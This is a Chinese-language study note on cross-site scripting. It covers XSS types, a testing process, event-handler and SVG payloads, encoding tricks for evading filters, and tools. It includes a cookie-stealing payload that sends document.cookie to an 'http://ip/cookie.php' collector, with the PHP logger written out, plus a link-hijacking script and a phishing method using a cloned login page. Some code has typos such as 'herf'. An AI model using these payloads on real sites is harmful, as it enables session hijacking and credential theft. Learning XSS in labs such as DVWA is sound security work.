XSS原理及基础
定义
恶意攻击者会往Web页面里插入JS代码,当用户点击网页时.镶嵌的JS代码就会执行,从而达到恶意的特殊目的.
原因
程序对输入和输出的控制不够严格,导致payload输出到前段时被浏览器当做有效代码执行从而产生危害。
分类
- 存储型
- 反射型
- DOM型
测试流程
- 目标站点找到输入点,
- 输入一组
特殊字符+唯一识别字符
,点击提交后,查看源码。先看看网页对特殊字符做了哪些过滤。 - 通过搜索定位到唯一的字符,确认是否可以构造js的条件
- 提交构造的脚本代码,看是否可以成功执行
tips
- 查询接口容易出现反射型XSS,留言板容易出现存储型XSS
- 绕过过滤机制
存储型XSS原理
攻击者在页面上插入XSS代码,服务端将数据存入数据库当用户访问到存在XSS漏洞的页面时,服务端从数据库中取出数据展示到页面上,导致XSS代码执行,达到攻击效果.
可能存在的位置:一切用户可以输入的位置
XSS盗取cookie
Cookie是在HTTP协议下,服务器或脚本可以维护客户工作站上信息的一种方式.Cookie是由Web服务器保存在用户浏览器上的小文本文件.他可以包含有关用户信息.
- 存在反射型XSS漏洞的位置,可以利用以下链接来盗取Cookie(dvwa,xss low):
url?uname=<script>document.location='http://ip/cookie.php?cookie='+document.cookie</script>#
cookie.php
<?php
$cookie = $_GET['cookie'];
file_put_contents("cookie.txt", $cookie);
echo "ok";
?>
劫持会话后可以进一步利用漏洞,修改配置文件
XSS篡改网页链接
篡改链接
<script>
window.onload=function(){
var link = document.getElementsByTagName("a");
for(j=0;j<link.length;j++){
link[j].herf="http://ip";
}
}
</script>
apt-get install beef-xss
###XSS盗取用户信息
克隆网站登录页面,利用存储XSS设置跳转代码,如果用户访问即跳转到克隆网站的登录页面,用户输入登录,账号和密码被存储。
主要是用setookie,但是新版的Kali不能用。
探测XSS过程
- 构造一个不会被识别成恶意代码的字符串
- 查找该字符串的位置。
- 构造XSSpayload
属性中的XSS
xss事件
1.鼠标点击相应位置时,触发弹框。
onmouseover=alert(document.domain)>
选择列表的XSS
隐性参数XSS
SVG介绍
SVG意为可缩放矢量图形,使用XML格式定义图像。
可以通过,,,svg标签插入HTML文档。
<svg onload=····>
注入点在一个被隐藏的位置,burp抓包后。
"><svg /onload=alert(document.domain)>%0a
HTML事件
- onlink:当鼠标点击时运行脚本。
- ondblclick:当双击鼠标运行脚本
- ondrag:当拖动元素时运行脚本
- ondragend:当拖动操作结束时运行脚本
- ondragenter:当元素被拖动至有效的拖放目标时运行脚本
- ondragleave:当元素离开有效拖放目标时运行脚本
- ondragover:当元素被拖放至有效目标上方时运行
- ondragstart:当拖动操作开始时运行脚本
- ondrop:当拖动元素正在被拖放时运行脚本
- onmousedown
- onmousemove
- onmouseout
- onmouseover
- onmouseup
- onmousewheel:当鼠标滚轮时运转
- onscroll
空格可以引发属性
## JavaScript伪协议
javascript:js代码
javascript:alert('hello')
伪协议XSS
"><a herf="javascript:alert(document.domain)">xss</a>
r经过·html编码
"><a href="javascript:alert(document.domain)">1</a>
在IE中``可以闭合一个双引号,双写绕过,html编码绕过,unicode编码绕过。
- htmlspecialchars():把预定义的字符转换为HTML实体。```&,<,>,',"`````
- strip_tags():剥去字符串中HTML,PHP,XML的标签,并不是转换。
- htmlentities()可以处理用户输入防止XSS
- JS编码:数字形式\u后面加4位16进制数字或\x2位16进制数字
- HTML编码:实体编码一般以"&“开头”;“结尾,进制编码通常以”&#“开头加上字符的数值,”;"结尾,字符的数值可以是任意十进制ascii码或者unicode字符编码,十六进制需要在编码前加’x’.@
- 进制编码:十进制编码,String.fromChareCode(97,86),十六进制编码(“\x87\x65”),unicode编码(“\u0012\u0045”).
- url编码:%+十六进制
进行编码是为了绕过某些xss_filter
XSS绕过
https://owasp.org/www-community/xss-filter-evasion-cheatsheet
XSS发生的位置
- GET:如果在URL中提交的参数中能够在页面中显示,就可能会有XSS。
- POST
- JSON
- 自定义http头中
XSS工具
- xsser
- xsstrike